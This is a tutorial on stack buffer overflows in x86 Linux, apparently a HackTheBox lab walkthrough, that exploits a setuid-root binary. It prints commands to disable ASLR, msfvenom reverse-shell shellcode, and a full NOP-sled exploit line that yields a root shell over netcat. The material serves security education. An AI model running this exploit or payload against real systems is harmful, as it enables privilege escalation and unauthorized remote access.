Post

Stack-Based Buffer OverFlows on Linux X86

Stack-Based Buffer OverFlows on Linux X86

Buffer overflows are not as common anymore thanks to safer coding practices and the adoption of secure programming languages like Python and Java, which have replaced more traditional, unsafe ones like C. Nevertheless, I find the discovery and exploitation of buffer overflows fascinating, and in this post, I will showcase a simple example. But first, let’s cover the basics.

What is a Buffer Overflow?

A buffer overflow is a type of programming bug where a program writes more data into a buffer (a fixed-size block of memory) than it can hold, which can overwrite adjacent memory. When this happens we will receive a segmentation fault warning, meaning that a restricted area of memory was overwritten by the program. Lets take the following vulnerable program as an example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int copy_str(char *string) {
    char buffer[10];
    strcpy(buffer, string);
    printf("copied text: %s\n", buffer);
    return 1;
}

int main(int argc, char *argv[]) {
   copy_str(argv[1]);
   printf("Done.\n");
   return 1;
}

We can see that the program takes one argument as input and copies it to a small buffer which only holds 10 bytes and then outputs it to the terminal. Lets compile the program and show its behavior with different inputs.

1
gcc example.c -o example

Lets provide it first with a valid input:

1
2
3
./example works!
copied text: works!
Done.

We can clearly see that it worked and the program exited normally. I believe it is easier to understand why it worked by using a diagram (Figure 1a). In this program we are using the stack to allocate a predetermined amount of bytes for a buffer. We can see that the stack frame begins with the return address which points to the next instruction to be executed once the current stack frame is finished. Next comes the EBP also known as the frame pointer which is used to reference local variables and acts as a base for the stack frame. Below them is the buffer we are using, it has a size of 10 bytes and gets filled up from the bottom up. In this example our buffer contains the input we used when we ran the program: works!. Since the input is less than 10 characters in length, it did not completely fill up the buffer so the rest of it is just filled with garbage values that where already there before allocating the buffer. Lets try again with an input with a size of 10 characters.

combined

1
2
3
4
./example overflows!
copied text: overflows!
Done.
Segmentation fault

Our input was 10 characters long and the buffer can hold 10 bytes then why did it crash? The answer is simple: strings in C have to be terminated with the null byte \0. This byte got automatically added because we were using the strcpy function. Which means that our input was actually 11 bytes long, overflowing the buffer and exiting with a segmentation fault. Figure 1b shows this process. We can see that it overflowed by 1 byte into the EBP corrupting important memory and that is the reason why our program did not exit correctly. At this point you may see where we are getting to.

The last sub figure shows how we can overwrite the return address which is the goal of a buffer overflow. Our objective will be to write down malicious code somewhere on the stack and then write down the address of the start of that code into the return pointer which will execute it when we leave the stack frame.

How Are They Prevented?

Modern systems are very well protected against these vulnerabilities. I had to manually disable some in my system before attempting this showcase. Here are few of the most popular solutions:

Canaries

Stack canaries, named for their analogy to a canary in a coal mine, are used to detect a stack buffer overflow before execution of malicious code can occur. We are basically writing a small integer value before the return address. If you remember, our buffer grew from the bottom up, meaning that if we wanted to overwrite the return address we would also have to overwrite the canary. Before leaving the stack frame this value is checked, if the value does not match the system will know that it was tampered with. This defense is not bullet proof as an attacker can attempt to read the canary value by some non-traditional means.

ASLR

ASLR (Address Space Layout Randomization) is a computer security technique that randomizes the memory locations of key areas of a program’s address space, such as the executable code, the stack, and system libraries, each time it runs. This makes it significantly harder for attackers to execute memory corruption exploits, like buffer overflows, because they cannot predict the memory addresses needed to inject malicious code.

Nonexecutable stack

Another approach to preventing stack buffer overflow exploitation is to enforce a memory policy on the stack memory region that disallows execution from the stack (W^X, “Write XOR Execute”). This means that in order to execute shellcode from the stack an attacker must either find a way to disable the execution protection from memory, or find a way to put their shellcode payload in a non-protected region of memory. This method is becoming more popular now that hardware support for the no-execute flag is available in most desktop processors.

Showcase

This example shows a simple buffer overflow in a x86 Linux architecture. We do not know the source code, but this does not actually matter in this example. There wont by any protections enabled so it is a very trivial example.

To disable ASLR use the following commands.

1
2
3
sudo su
root# echo 0 > /proc/sys/kernel/randomize_va_space
root# cat /proc/sys/kernel/randomize_va_space

The binary in this case was compiled using the following gcc command:

1
gcc leave_msg.c -o leave_msg -fno-stack-protector -z execstack -m32

It is important to see that this binary runs with root privileges as it has the setuid bit activated

1
2
3
4
ls -la
drwxr-xr-x 4 student     student     4096 Sep 23 18:35 .
drwxr-xr-x 4 root        root        4096 Aug  3  2021 ..
-rwsr-xr-x 1 root        root        7448 Nov 20  2020 leave_msg

Finding the Buffer Overflow

We can test for a buffer overflow by fuzzing the input parameter, but we can also try to provide a very large input and see how the program reacts.

1
2
./leave_msg $(python -c print'"A" * 2000')
Message left for the administrator

We ran the program with a large string length of 2000 characters and it did not crash. Lets try with a larger input:

1
2
./leave_msg $(python -c print'"A" * 3000')
Segmentation fault (core dumped)

Nice, the program crashed. Lets take a look at the registers with gdb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
htb-student@nixbof32skills:~$ gdb leave_msg
<SNIP>
(gdb) run $(python -c print'"A" * 3000')
Starting program: /home/student/leave_msg $(python -c print'"A" * 3000')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info registers
eax            0x0	0
ecx            0x15	21
edx            0x56558158	1448444248
ebx            0x41414141	1094795585
esp            0xffffc8f0	0xffffc8f0
ebp            0x41414141	0x41414141
esi            0xffffc930	-14032
edi            0x0	0
eip            0x41414141	0x41414141
eflags         0x10282	[ SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

Identifying how Many Bytes are Needed to Overwrite EIP

We can see that eip, the return address, got overwritten with 0x41414141 which is just our input of upper case As in hex. We now need to figure out the offset at which we can start writing the eip. To do so we can use msfconsole’s pattern_create built-in tool, which generates a random non-repeating string.

1
2
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9A<SNIP>u1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9

Lets rerun the program with the generated string:

1
2
3
4
5
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9A<SNIP>u1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9
Starting program: /home/student/leave_msg Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9A<SNIP>u1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9

Program received signal SIGSEGV, Segmentation fault.
0x37714336 in ?? ()

Gdb already provides the output of the eip register when it crashes and we can see it got overwritten with the value 0x37714336. We can now use msfconsole again to find out how many bytes we need to overwrite it.

1
2
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x37714336
[*] Exact match at offset 2060

We can test this by running the program again with an input of 2060 As followed by 4 Bs. If the offset is correct we should see eip become x42424242

1
2
3
4
5
6
(gdb) run $(python -c print'"A" * 2060 + "B" *4')
The program being debugged has been started already.
Starting program: /home/student/leave_msg $(python -c print'"A" * 2060 + "B" *4')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Identification and Removal of Bad Characters

We see the expected results, which is perfect. Our next step is going to be identifying bad characters. Some applications reserver some specific bytes as magic numbers or for other needs. We need to find them so that we do not accidentally use them in our shell code.

To identify bad characters during a buffer overflow, we send a payload containing every possible byte value (from \x01 to \xff) into the vulnerable buffer. After the payload is processed, we will then inspect the memory location where the buffer is stored to see which bytes are altered, removed, or truncated. Any bytes that do not appear as expected are considered bad characters, which cannot be used in the final shellcode.

To do this we will need to find where in the code the buffer write occurs. Lets disassemble the main function to search for vulnerable function calls.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) disassemble main
Dump of assembler code for function main:
   0x0000073b <+0>:	lea    0x4(%esp),%ecx
   0x0000073f <+4>:	and    $0xfffffff0,%esp
   0x00000742 <+7>:	pushl  -0x4(%ecx)
   0x00000745 <+10>:	push   %ebp
   0x00000746 <+11>:	mov    %esp,%ebp
   0x00000748 <+13>:	push   %esi
   0x00000749 <+14>:	push   %ebx
   <SNIP>
   0x0000076f <+52>:	add    $0x4,%eax
   0x00000772 <+55>:	mov    (%eax),%eax
   0x00000774 <+57>:	sub    $0xc,%esp
   0x00000777 <+60>:	push   %eax
   0x00000778 <+61>:	call   0x68d <leavemsg>

We can see that main call the leavemsg function so lets also disassemble that one.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
(gdb) disassemble leavemsg
Dump of assembler code for function leavemsg:
   0x0000068d <+0>:	push   %ebp
   0x0000068e <+1>:	mov    %esp,%ebp
   0x00000690 <+3>:	push   %ebx
   0x00000691 <+4>:	sub    $0x804,%esp
   <SNIP>
   0x000006ed <+96>:	sub    $0x8,%esp
   0x000006f0 <+99>:	pushl  0x8(%ebp)
   0x000006f3 <+102>:	lea    -0x808(%ebp),%eax
   0x000006f9 <+108>:	push   %eax
   0x000006fa <+109>:	call   0x4e0 <strcpy@plt>
   <SNIP> 
   0x00000731 <+164>:	mov    $0x0,%eax
   0x00000736 <+169>:	mov    -0x4(%ebp),%ebx
   0x00000739 <+172>:	leave  
   0x0000073a <+173>:	ret    

We can see that the function uses strcpy which is an unsafe memory function as it does not do a bound check like strncpy. We can also see that the buffer starts at -0x808(%ebp). Lets set a break point after this instruction and inspect the stack to confirm this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) break *leavemsg+123
Breakpoint 1 at 0x708
(gdb) run $(python -c print'"A"*2000')
Starting program: /home/htb-student/leave_msg $(python -c print'"A"*2000')

Breakpoint 1, 0x56555708 in leavemsg ()
(gdb) x/64bx $ebp-0x808 
0xffffc4d0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffc4d8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffc4e0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffc4e8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffc4f0:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffc4f8:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffc500:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41
0xffffc508:	0x41	0x41	0x41	0x41	0x41	0x41	0x41	0x41

Looks like it worked and we can clearly see the As inside of the buffer lets now start finding bad characters by instead writing the following string of hex instead of As:

1
2
3
4
5
6
7
8
9
10
(gdb) break *leavemsg+123
Breakpoint 1 at 0x708
(gdb) run $(python -c print'"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')
(gdb) x/256bx $ebp-0x808
0xffffcb90:	0x01	0x02	0x03	0x04	0x05	0x06	0x07	0x08
0xffffcb98:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffcba0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffcba8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffcbb0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffcbb8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

Instead of showing the correct characters we placed in order we get some of them right and some others are gone or modified, lets remove the first bad characters. We can see that the first character is wrong as it should have the Null terminator \x00 but it does not, so lets add that to our bad character list and remove it from the testing list, we can also discard \09 too as it does not appear after \08 lets try again with these two removed.

1
2
3
4
5
6
7
8
(gdb) run $(python -c print'"\x01\x02\x03\x04\x05\x06\x07\x08\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')
(gdb) x/254bx $ebp-0x808
0xffffcb90:	0x01	0x02	0x03	0x04	0x05	0x06	0x07	0x08
0xffffcb98:	0x0b	0x0c	0x0d	0x0e	0x0f	0x10	0x11	0x12
0xffffcba0:	0x13	0x14	0x15	0x16	0x17	0x18	0x19	0x1a
0xffffcba8:	0x1b	0x1c	0x1d	0x1e	0x1f	0x00	0x00	0x00
0xffffcbb0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffcbb8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

Looks better but we are still missing \0a so lets also remove that from the testing list and add it to our bad character list. Lets see how the buffer looks after removing \0a

1
2
3
4
5
6
7
8
(gdb) run $(python -c print'"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')
(gdb) x/254bx $ebp-0x808
0xffffcb90:	0x01	0x02	0x03	0x04	0x05	0x06	0x07	0x08
0xffffcb98:	0x0b	0x0c	0x0d	0x0e	0x0f	0x10	0x11	0x12
0xffffcba0:	0x13	0x14	0x15	0x16	0x17	0x18	0x19	0x1a
0xffffcba8:	0x1b	0x1c	0x1d	0x1e	0x1f	0x00	0x00	0x00
0xffffcbb0:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00
0xffffcbb8:	0x00	0x00	0x00	0x00	0x00	0x00	0x00	0x00

Well it looks the same but now its correct until \20. Remember that we already removed [\00\09\0a]. Lets also remove \20 and see what happens

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
(gdb) run $(python -c print'"\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"')
(gdb) x/252bx $ebp-0x808
0xffffcba0:	0x01	0x02	0x03	0x04	0x05	0x06	0x07	0x08
0xffffcba8:	0x0b	0x0c	0x0d	0x0e	0x0f	0x10	0x11	0x12
0xffffcbb0:	0x13	0x14	0x15	0x16	0x17	0x18	0x19	0x1a
0xffffcbb8:	0x1b	0x1c	0x1d	0x1e	0x1f	0x21	0x22	0x23
0xffffcbc0:	0x24	0x25	0x26	0x27	0x28	0x29	0x2a	0x2b
0xffffcbc8:	0x2c	0x2d	0x2e	0x2f	0x30	0x31	0x32	0x33
0xffffcbd0:	0x34	0x35	0x36	0x37	0x38	0x39	0x3a	0x3b
0xffffcbd8:	0x3c	0x3d	0x3e	0x3f	0x40	0x41	0x42	0x43
0xffffcbe0:	0x44	0x45	0x46	0x47	0x48	0x49	0x4a	0x4b
0xffffcbe8:	0x4c	0x4d	0x4e	0x4f	0x50	0x51	0x52	0x53
0xffffcbf0:	0x54	0x55	0x56	0x57	0x58	0x59	0x5a	0x5b
0xffffcbf8:	0x5c	0x5d	0x5e	0x5f	0x60	0x61	0x62	0x63
0xffffcc00:	0x64	0x65	0x66	0x67	0x68	0x69	0x6a	0x6b
0xffffcc08:	0x6c	0x6d	0x6e	0x6f	0x70	0x71	0x72	0x73
0xffffcc10:	0x74	0x75	0x76	0x77	0x78	0x79	0x7a	0x7b
0xffffcc18:	0x7c	0x7d	0x7e	0x7f	0x80	0x81	0x82	0x83
0xffffcc20:	0x84	0x85	0x86	0x87	0x88	0x89	0x8a	0x8b
0xffffcc28:	0x8c	0x8d	0x8e	0x8f	0x90	0x91	0x92	0x93
0xffffcc30:	0x94	0x95	0x96	0x97	0x98	0x99	0x9a	0x9b
0xffffcc38:	0x9c	0x9d	0x9e	0x9f	0xa0	0xa1	0xa2	0xa3
0xffffcc40:	0xa4	0xa5	0xa6	0xa7	0xa8	0xa9	0xaa	0xab
0xffffcc48:	0xac	0xad	0xae	0xaf	0xb0	0xb1	0xb2	0xb3
0xffffcc50:	0xb4	0xb5	0xb6	0xb7	0xb8	0xb9	0xba	0xbb
0xffffcc58:	0xbc	0xbd	0xbe	0xbf	0xc0	0xc1	0xc2	0xc3
0xffffcc60:	0xc4	0xc5	0xc6	0xc7	0xc8	0xc9	0xca	0xcb
0xffffcc68:	0xcc	0xcd	0xce	0xcf	0xd0	0xd1	0xd2	0xd3
0xffffcc70:	0xd4	0xd5	0xd6	0xd7	0xd8	0xd9	0xda	0xdb
0xffffcc78:	0xdc	0xdd	0xde	0xdf	0xe0	0xe1	0xe2	0xe3
0xffffcc80:	0xe4	0xe5	0xe6	0xe7	0xe8	0xe9	0xea	0xeb
0xffffcc88:	0xec	0xed	0xee	0xef	0xf0	0xf1	0xf2	0xf3
0xffffcc90:	0xf4	0xf5	0xf6	0xf7	0xf8	0xf9	0xfa	0xfb
0xffffcc98:	0xfc	0xfd	0xfe	0xff

Looks correct! So our bad character list is just [\00\09\0a\20].

Generating Shell Code

Our next step will be to generate the shell code that we will be injecting into the buffer. To generate it we can use msfvenom which already has a tool to not include our bad characters we can generate it with the following command:

1
2
3
4
5
6
7
8
msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=9001 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
Saved as: shellcode

Our shellcode is 95 bytes long which is small enough to fit inside our buffer which can be as large as 2060 bytes. Since we have a lot of spare bytes we can use a nop sled. A nop sled is a long chain of nop instructions which basically tell the CPU to do nothing and jump to the next instruction. This helps us because our return address does not have to be exactly pointing to our shell code, it can instead point to anywhere in the nop sled and it will at some point execute our shell code. The diagram below shows the structure of the stack with our payload.

combined

If you recall from before we need 2060 bytes to reach the return address which we need to overwrite. lets just write it with Bs so we know we are in the right track:

1
2
3
4
5
(gdb) run $(python -c print'"\x90" * 1965 + "\xd9\xc6\xd9\x74\x24\xf4\xb8\x77\xd5\x11\x7f\x5e\x29\xc9\xb1\x12\x31\x46\x17\x83\xc6\x04\x03\x31\xc6\xf3\x8a\x8c\x33\x04\x97\xbd\x80\xb8\x32\x43\x8e\xde\x73\x25\x5d\xa0\xe7\xf0\xed\x9e\xca\x82\x47\x98\x2d\xea\x28\x5a\xce\xeb\xbe\x58\xce\xc8\x17\xd4\x2f\xbe\x0e\xb6\xfe\xed\x7d\x35\x88\xf0\x4f\xba\xd8\x9a\x21\x94\xaf\x32\xd6\xc5\x60\xa0\x4f\x93\x9c\x76\xc3\x2a\x83\xc6\xe8\xe1\xc4"  + "B" * 4')
Starting program: /home/htb-student/leave_msg $(python -c print'"\x90" * 1965 + "\xd9\xc6\xd9\x74\x24\xf4\xb8\x77\xd5\x11\x7f\x5e\x29\xc9\xb1\x12\x31\x46\x17\x83\xc6\x04\x03\x31\xc6\xf3\x8a\x8c\x33\x04\x97\xbd\x80\xb8\x32\x43\x8e\xde\x73\x25\x5d\xa0\xe7\xf0\xed\x9e\xca\x82\x47\x98\x2d\xea\x28\x5a\xce\xeb\xbe\x58\xce\xc8\x17\xd4\x2f\xbe\x0e\xb6\xfe\xed\x7d\x35\x88\xf0\x4f\xba\xd8\x9a\x21\x94\xaf\x32\xd6\xc5\x60\xa0\x4f\x93\x9c\x76\xc3\x2a\x83\xc6\xe8\xe1\xc4"  + "B" * 4')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

Finding the Return Address

Perfect, the return address is now BBBB but we should instead use a real address. How can we find the correct return address? Ideally it should be somewhere in the nop sled so it slides into our shellcode. Lets find where our nopsled starts.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(gdb) x/2000xb $esp+2400
0xffffd600:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd608:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd610:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd618:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd620:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd628:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd630:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd638:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd640:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd648:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd650:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd658:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd660:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd668:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd670:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd678:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd680:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0x90
0xffffd688:	0x90	0x90	0x90	0x90	0x90	0x90	0x90	0xd9
0xffffd690:	0xc6	0xd9	0x74	0x24	0xf4	0xb8	0x77	0xd5

We can see that our nop sled starts at around 0xffffd688 so lets pick 0xffffd610. Remember that we are dealing with little endian so addresses have to be reversed. Lets also start a listener and see if we get a connection. Moment of truth!

1
./leave_msg $(python -c print'"\x90" * 1965 + "\xd9\xc6\xd9\x74\x24\xf4\xb8\x77\xd5\x11\x7f\x5e\x29\xc9\xb1\x12\x31\x46\x17\x83\xc6\x04\x03\x31\xc6\xf3\x8a\x8c\x33\x04\x97\xbd\x80\xb8\x32\x43\x8e\xde\x73\x25\x5d\xa0\xe7\xf0\xed\x9e\xca\x82\x47\x98\x2d\xea\x28\x5a\xce\xeb\xbe\x58\xce\xc8\x17\xd4\x2f\xbe\x0e\xb6\xfe\xed\x7d\x35\x88\xf0\x4f\xba\xd8\x9a\x21\x94\xaf\x32\xd6\xc5\x60\xa0\x4f\x93\x9c\x76\xc3\x2a\x83\xc6\xe8\xe1\xc4"  + "\x10\xd6\xff\xff"')
1
2
3
4
5
nc -lvnp 9001
Listening on [0.0.0.0] (family 0, port 9001)
Connection from 127.0.0.1 37890 received!
whoami
root

It works!. It was a very simple buffer overflow but it was only to showcase it. The diagram below shows the payload we used. We basically wrote a nop sled into the buffer, followed by the executable shell code and then the return address. combined

This post is licensed under CC BY 4.0 by the author.